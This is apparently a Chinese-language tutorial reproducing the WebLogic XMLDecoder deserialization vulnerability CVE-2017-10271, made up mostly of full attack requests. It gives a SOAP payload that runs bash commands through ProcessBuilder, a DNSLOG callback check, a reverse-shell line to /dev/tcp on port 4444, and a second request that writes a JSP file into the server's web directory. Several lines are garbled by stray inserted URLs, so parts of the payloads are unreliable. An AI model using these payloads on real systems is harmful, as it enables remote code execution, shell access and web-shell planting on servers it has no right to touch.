Weblogic反序列化漏洞（CVE-2017-10271）- 其它方面

注意：仅用于技术讨论，切勿用于其他用途，一切后果与本人无关！！！
基本理论

WebLogic WLS组件中存在XMLDecoder远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击

漏洞产生的原因是因为在调用，xml的时候没有做过滤，从而导致漏洞的产生

漏洞复现

1.找到存在漏洞的页面

2.可以通过DNSLOG来验证漏洞是否存在，首先到网上找一段POC,注意标注中加颜色的部分

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.69.129:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Geckohttps://files.jxasp.com/image/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: text/xml        //调用xml时候要带上的参数

Content-Length: 607

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.comhttps://files.jxasp.com/image/2004/06/soap/workarea/">

         <java version="1.4.0" class="java.beans.XMLDecoder">

              <void class="java.lang.ProcessBuilder">

                     <array class="java.lang.String" length="3">

              <void index="0">

                    <string>/bin/bash</string>

              </void>

              <void index="1">

                    <string>-c</string>

               </void>

               <void index="https://files.jxasp.com/image/2">

                    <string> ping a4b87609.dnsbug.cn </string>

               </void>

           </array>

           <void method="start"/></void>

         </java>

      </work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

3.查看DNSLOG发现，存在访问，则漏洞存在

4.反弹shell:

此时我们照样可以将ping ip的位置改为

bash -i >& /dev/tcp/192.168.69.129/4444 0>&1 在本地开启监听

5.写入Shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.69.129:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Geckohttps://files.jxasp.com/image/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: text/xml

Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.comhttps://files.jxasp.com/image/2004/06/soap/workarea/">

    <java><java version="1.4.0" class="java.beans.XMLDecoder">

    <object class="java.io.PrintWriter">

    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>

    <void method="println"><string>

    <![CDATA[

<% out.print("test"); %>

    ]]>

    </string>

    </void>

    <void method="close"/>

    </object></java></java>

    </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>